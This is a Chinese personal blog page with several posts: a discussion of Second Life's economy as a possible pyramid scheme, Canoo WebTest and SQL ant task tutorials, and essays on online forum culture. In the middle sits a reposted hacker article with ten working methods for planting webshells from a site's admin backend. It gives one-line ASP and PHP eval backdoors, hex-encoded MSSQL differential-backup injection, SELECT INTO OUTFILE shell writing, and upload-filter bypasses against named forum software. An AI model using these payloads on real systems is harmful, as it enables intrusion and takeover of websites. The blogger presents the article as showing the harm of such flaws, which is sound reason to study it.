BMTD 's Yard of Fun

Technology, Sports, Music, Chinese Essays

Browsing Posts in IT

今天看到一个新闻,一位金融分析师认为SL的经济模式是一种骗局,挺有意思的,在这儿抛抛砖欢迎众大侠聊聊侃侃。

在说说这个分析前先简介一下 Second life:

第二人生 (Second Life)是一个互联网上虚拟的3D世界--在这个世界中,每个人可以建立自己的一个虚拟的“第二人生”,与在这个虚拟世界中的其他人发生各种各样的关系,实现自己在现实生活中没能实现的梦。

与一般MMORPG不同的是这个世界里几乎所有的东西都是它的居民(也就是游戏参与者)自己创造的,包括房屋,商店,银行,报纸。。。任何你能想象得到得东西。这些东西的所有权属于它的创造者而不属于游戏商…SL的成员之间可用虚拟货币进行交易并可以second life 用美元与虚拟货币进行兑换。也就是说你可以用美元兑换成虚拟货币在SL里投资,在second life里的虚拟business里赚了钱也可以cash out变成真正的钱的。

自2003年开张以来,SL迅速扩张,现拥有超过两百万的居民, 虚拟的经济规模GDP达到2.2亿美元,同时产生了一批在现实中通过cash out在SL赚钱维生甚至致富的玩家(例如著名second life房地产大亨Anshe Chung)。最近一段时间seond life名气越来越大,例如获VC投资,吸引多家大公司进驻(在虚拟世界中做广告,培训, 建立汽车城,甚至发行信用卡等等).

最新的新闻是前几天AOL宣布将在second life里开名为AOL pointe的虚拟商店; Second life 宣布将open source其客户端软件等。。。风头甚劲

回到正题,说说seocnd life的经济模式--这是一个纯粹自由的资本主义经济,没有任何干预和监管。不断有人质疑这种模式的可行性。 例如,去年就有关于Second life里的最大银行Ginko Financial的大争论--至去年10月Ginko Financial号称拥有6000万虚拟货币的存款(相当于20几万美刀), 超过一万的存款帐户,每个帐户年利息收益达44%。许多人认为这是一个典型的 Ponzi 模式(http://en.wikipedia.org/wiki/Ponzi_scheme)--又称金字塔模型(Pyramid scheme),也就是说先来的客户的利息是依靠新加入的客户的存款来支付的。。。银行没有投资收入。。。这样的话结果银行一定会崩溃而后来的客户会血本无归。因为second life是一个完全没有对business监管的社会,公司的操作也不透明,自然而然引发这样的怀疑。

一位金融师在深入second life分析(链接)后,得出的结论是:

• One cannot profit at greater than the risk-free rate of return for investments into Second Life;
• "Virtual labor" performed by the denizens of the game on their various Second Life business projects is always compensated far below the real-world USD equivalent;
• SLL are effectively illiquid beyond small volume trades —

What you’re left with is lots of people putting USD in, and a small group taking those USD out, leaving the rest with no financial claims on anything – just an imaginatively sexy avatar.

”. . .We concluded that we weren’t playing in a market at all. We were suckered in by a classic pyramid scheme, albeit one with a pretty new user interface. New entrants plow real money into the game. Only the guys at the top can extract that money with any volume (and in excess of the risk-free rate of return). Attempts to move anything more than token amounts out of the game generally result in real-returns of almost exactly the prevailing USD deposit interest rate. "

如果对code (SQL/php etc) injection, file inclusion, cross site scripting 不熟悉可google相关文章。

防止这类漏洞的最重要一点在于对用户输入作过滤。例如,对于防止xss可参照归坛的function.php里的removexss() 函数。

关于这类漏洞的危害,这里有篇文章是关于对一些常见网站加入木马shell的,有兴趣可一读.

转篇华夏的从后台拿到webshell(转自 donews: http://blog.donews.com/swap/archive/2006/05/31/895681.aspx )

前 言
动网上传漏洞,相信大家拿下不少肉鸡吧。可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然天下,现在这种漏洞已经基本比较难见到了,不排除一些小网站仍然存在此漏洞。在拿站过程中,我们经常费了九牛两虎之力拿到管理员帐号和密码,并顺利进入了后台,虽然此时与拿到网站webshell还有一步之遥,但还是有许多新手因想不出合适的方法而被拒之门外。因此,我们把常用的从后台得到webshell的方法进行了总结和归纳,大体情况有以下十大方面。
注意:如何进入后台,不是本文讨论范围,其具体方法就不说了,靠大家去自己发挥。此文参考了前人的多方面的资料和信息,在此一并表示感谢。
一、直接上传获得webshell
这种对php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,直接在心情图标管理上传.php类型,虽然没有提示,其实已经成功了,上传的文件url应该是http://forums/images/smiles/下,前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网 5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。

二、添加修改上传类型
现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型, bbsxp后台可以添加asa|asP类型,ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell 了,还有一种情况是过滤了.asp,可以添加.aspasp的文件类型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。 LeadBbs3.14后台获得webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格!

三、利用后台管理功能写入webshell
上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有 leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\网站incIncHtmBoardLink.asp就是我们想要的shell。

四、利用后台管理向配置文件写webshell
利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有很多php程序都可以,COCOON Counter统计程序举例,在管理邮箱处添上cnhacker at 263 dot net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker at 263 dot net":eval request(chr(35))//",还有一种方法就是写上
cnhacker at 263 dot net"%><%eval request(chr(35))%><%’,这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连,需要说明的是数据库插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%><% execute request("l")%><%’,保存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.asp。

五、利用后台数据库备份及恢复获得webshell
主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其他后缀如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时候,但是有asp系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改 gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。
六、利用数据库压缩功能
可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval request (chr(35))%>, 提交后,在数据库操作中压缩数据库,可以成功压缩出.asp文件,用海洋的最小马的eval客户端连就得到一个webshell。

七、asp+mssql系统
这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:
<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post">
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要复制到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p> </form>
另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复制到的位置”那里,提交就得到我们可爱的WebShell了,恢复代码和此类似,修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台,动网的数据库还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell,一般后台是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码,利用动网7.0的注入漏洞可以用差异备份一个webshell,可以用利用上面提到的方法,将conn.asp文件备份成.txt文件而获得库名。
差异备份的主要代码:
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s–
;Drop table [heige];create table [dbo] dot [heige] ([cmd] [image])–
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)–
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT–
这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:web1.asp的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell,唯一的不足就是备份后的文件过大,如果备份数据库中有防下载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运行,利用差异备份是成功率比较高的方法,并且极大的减少备份文件的大小。
八、php+mysql系统
后台需要有mysql数据查询功能,我们就可以利用它执行SELECT … INTO OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用 SELECT … INTO OUTFILE语句导出shell。在mysql操作里输入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile ’路径’ 就可以获得了一个<?eval($_POST[a]);?>的最小马

0x3C3F6576616C28245F504F53545B615D293B3F3E 是我们<?eval($_POST[a]);?>的十六进制,这种方法对phpmyadmin比较普遍,先利用phpmyadmin的路径泄露漏洞,比较典型的 是http://url/phpmyadmin/libra9xiaoes/select_lang.lib.php。
就可以暴出路径,php环境中比较容易暴出绝对路径:)。提一点的是遇到是mysql在win系统下路径应该这样写d:\wwwroot\a.php。下面的方法是比较常用的一个导出webshell的方法,也可以写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一个管理员帐号
CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES(’<?fputs(fopen("./a.php","w"),"<?eval($_POST[a]);?>")?>’)
select cmd from a into outfile ’路径/b.php’
DROP TABLE IF EXISTS a
访问b.php就会生成一个<?eval($_POST[a]);?>的最小马。
如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码:
<?
$sa = fopen("./up/saiy.php","w");
fw9xiaote($sa,"<?eval($_POST[a]);?".">");
fclose($sa);
?>
就会在up目录下生成文件名为saiy.php内容为<?eval($_POST[a]);?>的最小php木马,
最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码<?fputs(fopen("./a.php", "w"),"<?eval($_POST[a]);?>")?> 将会在当前目录生成一个a.php的最小马。

九、phpwind论坛从后台到webshell的三种方式
方式1 模板法
进入后台, 风格模版设置 ,在随便一行写代码,记住,这代码必须顶着左边行写,代码前面不可以有任何字符。
EOT;
eval($a);
p9xiaont <<<EOT
而后得到一个shell为http://网站/bbs/index.php。
方始2 脏话过滤法
进入安全管理 ◇ 不良词语过滤。新增不良词语写 a’]=’aa’;eval($_POST[’a’]);//
替换为那里可以随意写,而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php。
方式3 用户等级管理
新建立会员组,头衔你可以随便写,但是千万不要写单双引号特殊符号,升级图片号写a’;eval($_POST[’a’]);// ,升级点数依然可以随意写。而后得到一个shell地址为http://网站/bbs/data/bbscache/level.php。
以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。

十、也可以利用网站访问计数系统记录来获得webshell
最明显的就是某私服程序内的阿江计数程序,可以通过http://网站/stat.asp?style=text&referer= 代码内容&screenwidth=1024直接提交,即可把代码内容直接插入到计数系统的数据库中,而此系统默认数据库为count#.asa,我们可以通过http://网站/count%23.asa访问得到webshell,由于阿江计数程序过滤了%和+,将最小马改成<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request("1"))</SCRIPT>替换代码内容处提交,然后用lake2 的eval客户端来提交,值得一提的是如果进到计数后台,可以清理某时某刻的数据,一旦插入asp木马失败,可以清理数据库再次操作。

解决方案
由于本文涉及的代码版本很多,所以不可能提供一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统使用也可删除此文件。大家如果不会修补,可以到相关官方网站下载最新补丁进行修复更新。同时也请大家能时刻关注各大安全网络发布的最新公告,若自己发现相关漏洞也可及时通知官方网站。

后记
其实,从后台得到webshell的技巧应该还有很多的,关键是要看大家怎么灵活运用、触类旁通,希望本文的方法能起到抛砖引玉的作用。 各位加油吧,让我们将服务器控制到底!

每次运行之前需要在数据库里populate需要的测试数据,这个可以用SQL ant task自动在test case里实现--相关test case第一步就是作数据初始化。

步骤:

(1) 建议先写好SQL script,把这些sql文件放在单独的SQL目录里。(optional)

(2) 把 mysql jdbc driver 文件 “mysql-connector-java-5.0.4-bin.jar”拷贝到 webtest的lib目录下,并且加入到java classpath (或者 webtest.sh /webtest.bat 的calsspath里)

哪里找文件 mysql-connector-java-5.0.4-bin.jar呢?

--先从这里下载mysql-connector-java-5.0.4.zip : http://dev.mysql.com/get/Downloads/Connector-J/mysql-connector-java-5.0.4.zip/from/http://mirror.services.wisc.edu/mysql/ ,解压后你会看到mysql-connector-java-5.0.4-bin.jar.

(3)写SQL task:

一个简单的SQL ant task是这样的:

<sql
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://host:port/database"
userid="sa"
password="pass"
src="data.sql"
/>

意思是链接到位于 host:port的mysql数据库里的"database" schema, 用sa/pass登陆,然后运行 "data.sql"文件。

或者这样直接写sql语句:

<sql
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://host:port/database"
userid="sa"
password="pass"
><![CDATA[

update some_table set column1 = column1 + 1 where column2 < 42;

]]></sql>

或者这样运行几个sql文件:

<sql
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://host:port/database"
userid="sa"
password="pass" >
<transaction src="data1.sql"/>
<transaction src="data2.sql"/>
<transaction src="data3.sql"/>
<transaction>
truncate table some_other_table;
</transaction>
</sql>

(4) 在你的webtest里把这个task加进来 :

<target name="testit">
<!–初始化数据 -->
<sql
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://host:port/database"
userid="sa"
password="pass" >
<transaction src="data1.sql"/>
<transaction src="data2.sql"/>
<transaction src="data3.sql"/>
<transaction>
truncate table some_other_table;
</transaction>
</sql>

<webtest name="myTest">
<config host="localhost" port="8080" protocol="http" basepath="" summary="true" saveresponse="true" />

<steps>
<invoke description="a" url="sb.php" />
<!–<verifyCookie name="AuthJ" text="four498@gmail.com~wangluo~1161665636" /> –>
<!–<invoke description="a" url="sb.php?a=1" /> –>

</steps>
</webtest>
</target>

上面只是简单例子,你们做时这个<sql>部分可以放到一个include文件里, 在test case里 include进来。

这是我们实现Agile development重要的一环.

(0) 安装

— download jave runtime (JRE)
— download webtest: http://webtest.canoo.com/webtest/build.zip, 解压到本地目录 <WEBTEST_HOME> (例如, C:\webtest)
— Add <WEBTEST_HOME>\bin to your PATH (控制面板–>系统–>高级–>环境变量)
–cd <WEB_HOME>\doc\samples 运行:
webtest -buildfile installTest.xml

一般来说,运行test cases用这样的语法:
webtest -buildfile <testcasefile>

例如,

webtest -buildfile mytest.xml

(1)test cases目录结构

建立一个目录叫testcases,testcases放到该目录下面

testcases
includes: 包含文件
properties: 存储一些与环境相关或常变化的测试数据
modules:小的可重用的测试模块
UseCases : 对应于use cases的test cases
TestResults: 存放测试结果和报告.

建立一个 web directory 指向TestResults目录. 例如, http://localhost/TestResults/testresult.html 就可以看见测试报告.

(2) 简单例子:

附件这个简单test case是验证海归网登陆的:

把这个文件存为mytest1.xml, (去掉.doc后缀), 放到TestCases目录下,把name="webtest.home" location="E:/canoo" 中location的值改为你的canoo web test的根目录.

然后运行 webtest -buildfile mytest1.xml;运行完毕后到http://localhost/TestResults/results.html看测试报告.

最后一步应该是失败的,因为crazytang的password不对. 要想测试测试成功需要把上面login.ok.password的值改成crazytang的密码.

注:测试报告格式和语言可以通过XSLT定制;回头我们会修改一下现在的报告格式,并且加上email通知功能.

(3) Canoon WebTest 的功能简介

背景: canoo webtest是用java 编写的,我们上述的例子用 ant 执行.(ant本身是一个java build tool, 相当于make,但比make强的多)

它是一个web acceptance工具,而不是一个junit/htmlunit/phpunit之类的unit test工具,也就是说进行黑箱测试. 在用于开发时.需要预先根据
详细需求编写test cases(实际上也是use cases)把期望的web site什么样子有什么功能表达出来.

test cases是xml格式的,一般来说需要手工编写 (如果是对现有网站测试,可以用工具自动把用户手工测试的过程记录下来自动生成test cases,但对于新项目开发来说没有什么用处);

(4)test case编写入门

看看上面的简单例子.
每个<webtest> 元素代表一个 web session,里面包括<config>和<steps>. 前者定义访问的网站属性,后者是一系列测试的步骤,例如采取什么行动(点击button,设置cookie等),或者验证
返回页面(标题,内容,图象, response code等等);每个步骤都有一个相对应的webtest step. webtest当前所有支持的步骤主要见见:

http://webtest.canoo.com/webtest/manual/syntaxCore.html
http://webtest.canoo.com/webtest/manual/syntaxExtension.html

此外还有关于email/pdf/excel等的验证,config等的语法,详见手册: http://webtest.canoo.com/webtest/manual/manualOverview.html

(5) property, 包含文件等:

可以定义类似变量的property, 例如我上面简单例子中引用的${user}, ${login.ok.password}等都是在文件开始定义的properties.详细的propeties用法
见http://webtest.canoo.com/webtest/manual/properties.html

test cases可以由许多可重用的模块组成,这样易于维护减少冗余. 详细请见: http://webtest.canoo.com/webtest/manual/samples.html.

(6) 如果有必要直接在数据库中准备测试数据,(例如测试前需要建立一批用户)可以用与SQLUNIT结合实现:

详见 http://webtest.canoo.com/webtest/manual/sqlunit.html

(7)这里有些用户贡献的工具或测试步骤: http://webtest-community.canoo.com/wiki/space/Contributions+and+Uploads

(8) 我们会设置一个cron job(scheduled task)每夜自动运行所有test cases.

(9) test cases也存入SVN中.

趁开始忙之前集中灌几天水,东拉西扯想到哪说到哪 :)

论坛里的生态角色

(纯粹一边喝白水一边瞎想出来的,请勿对号入座)

网上论坛虽然是虚拟社区,也是一个小社会,也有人间百态,每个人在里面轮番扮演不同的角色。

一篇帖子发出去,有叫好的,有拍砖的,有扯到其他话题上去的,当然还有只看贴不发言的沉默的大多数。

这帖子也是分原创和转贴。原创的作者这里通称写手或者大虾。

写手是论坛兴旺的根本--一个论坛要有一定数量的高质量原创写手才会吸引人来,这一点估计没有人反对。可是从长久来说,不能把希望寄托在个别大虾身上,不然大虾一走立马玩完。

注意我这里说的是“个别”而不是说写手这一群体: 在免费论坛上业余玩票性质的写作方式无法保证哪一个大虾哪天突然不来了--可能生活发生了变化,可能兴趣转移,可能热情的起伏,可能…you never know. 网络不是生活的全部,尤其在网络上写作不能带来任何经济效益的情况下。另外高手到一定水平,发表到传统平面媒体很可能带来更多的满足感和回报, 虽然这个情况正在逐渐改变。

需要一个不断壮大的写手群体。要保证这点,需要论坛有一个良性互动的气氛,有自己吸引人的论坛文化。做到这点需要靠论坛的设计、制度和管理员、斑竹的引导。不过这个是说起来容易做得好难。

论坛程序方面,速度要快,人性化设计,尽可能让用户参与管理, web 2.0 …

跟贴中捧场的和拍砖的同样很重要。前者让主贴作者得到鼓励,后者往往能展开讨论。写帖子的不怕拍砖,就怕没人回帖没有交流,发个帖子就像肉包子打狗有去无回。流行的的各种“看贴不回贴”搞笑图片就说明了这点。

除了上面的这些,一个论坛里一般还有这几类人:

--把bbs当chatroom版聊的(树形版面较适于此,即所谓“搭楼梯”)
--转贴专家
--到处找人战斗的斗士
--斑竹、管理员
--问题求助的
--回答问题的
--纯灌水的
--沉默的大多数

当然每个人来说这些角色一般都不是固定的,大多数人有时这样有时那样,但确实有不少人在大多数时间扮演其中某一两个固定的角色。

斗士中的理性辩论者是论坛繁荣所需要的;另一类满嘴喷粪以骂人为乐的则是论坛的大敌,一经发现坛方必须马上喀嚓--这种人人数即使很少但破坏力非常巨大,不加控制论坛会变成粪坑。当年文学成的一些论坛就是被这样毁掉的。

关于帖子点击率:

哥们经常是费了老鼻子劲好不容易折腾出个原创帖子发出去,可是反响却令人失望--点击数不多,回帖寥寥, 上论坛的热情一下子受到了打击。

看看热门的帖子,首先得是大家感兴趣得话题– 男女关系是永远得热点, 在归坛上则还要加上海归经验,到底归不归,offer如何, 办公室政治策略等。帖子的标题也要好,即使不搞不惊人誓不休也得吸引人。当然内容质量是关键,不然哗众取宠次数多了你的信用就打了折扣,再牛的标题也没人进来。

文章的长度要适中,太长大家没时间看敬而远之,太短很难有什么料。

关于国外的论坛的印象

除了极少数的,我个人很少去固定的国外论坛,通常都是去找答案的技术型论坛;比如碰到什么技术问题去google一下,答案往往在相关的support论坛里。又比如我想买HIFI功放,我会去avs之类的论坛去做research,看别人对各种brand/model的反馈。这些论坛大都是一些Q&A性质的,有人问问题,有人解答。而一般这类论坛都会有一些大牛解答大多数newbie的问题。

象中文论坛这样百花齐放内容包罗万象的综合型论坛似乎不多,大都只限于某个专业或方向。

我固定常去的论坛只有slashdot;几年以前还常去salon.com,现在已经没时间了。Slashdot不是严格意义上的论坛,而是一个blog/news/forum的混合体。用户提交帖子,管理员决定是否接受发布出来。虽然我去主要是关注技术新闻和走势,但从每天上千的帖子里还是可以看出美国人(至少是那帮自称为geek/nerds的家伙)的想法: 这是一帮“左派”–凡是有关知识产权/DRM/RIAA/MPAA的帖子就会立马被贴上来然后对好莱坞痛批,凡是linux/free software/open source的事情都被贴上来讨论个没完。。。

在我感兴趣的关于中国的话题上,帖子们更是一个定式:

-- wired 或 cnet news.com报道了有关中国的消息,例如中国防火墙,google屏蔽搜索,政府要求网吧使用者用身份证等等
-- 立马有人贴到slashdot
-- 如果是关于internet, 必然至少有200个跟贴就此批评中国政府,人^权, censorship blah blah
-- 还有十个帖子表达对生活在水深火热中的中国人民怜悯,20个帖子大骂cisco, google等公司惟利是图
-- 有两个人发表他们在中国的两天经历,他们的中国朋友告诉他们在中国的悲惨生活blahblah
-- 另外一个人的中国经历,觉得情形似乎没那么糟糕
-- 三个人(常有欧洲人)表达不同意见,认为美国政府不应该把自己价值观强加于人, 惹来另外100个帖子教育他民主自由的普世真理。
—— 偶尔会有些加拿大人出来赞扬美国是好邻居。

如果是中国卫星发射,或者中国自己造了个什么芯片之类的消息,跟贴一般是:

-- 大概有十个帖子左右仔细研究讨论卫星或芯片的spec,纯技术角度
-- 大概100个帖子扯到中国政府,宣传机器啦,共……产啦,压制啦,中国的童工啦
-- 大概30个帖子说: 中国水平其实很低级,在美国N年前的level上
-- 50个帖子惊呼中国赶上来,哀叹美国不思进取,政府鼠目寸光不给NASA投钱
-- 10个帖子: 中国的技术都是从美国偷来的

我讨厌这些关于中国的自以为是的讨论,但是个人无法改变别人的想法。 做为一个中国人,一个民族主义者,6年前刚开始上slashdot时对这类帖子还感到新鲜,现在已经很厌倦了; 而且只要在cnet上看到新闻,闭着眼睛就知道slashdot上会讨论些什么。

随着2.0大潮的来临,由moderator管理的slashdot也老了让位于新兴的web 2.0网站– 今年的前一段日子,与slashdot类似但用户更有自主权的DIGG已经在访问量等指标上超过了slashdot. Slashdot也认识到了这点并在前些时候做了较大的改版。

其他BBS系列:

【BBS】 聊聊偶用过的讨论区系统 (历史)

【BBS】论坛系统分析(1): 论坛外观的树形 vs 表格形式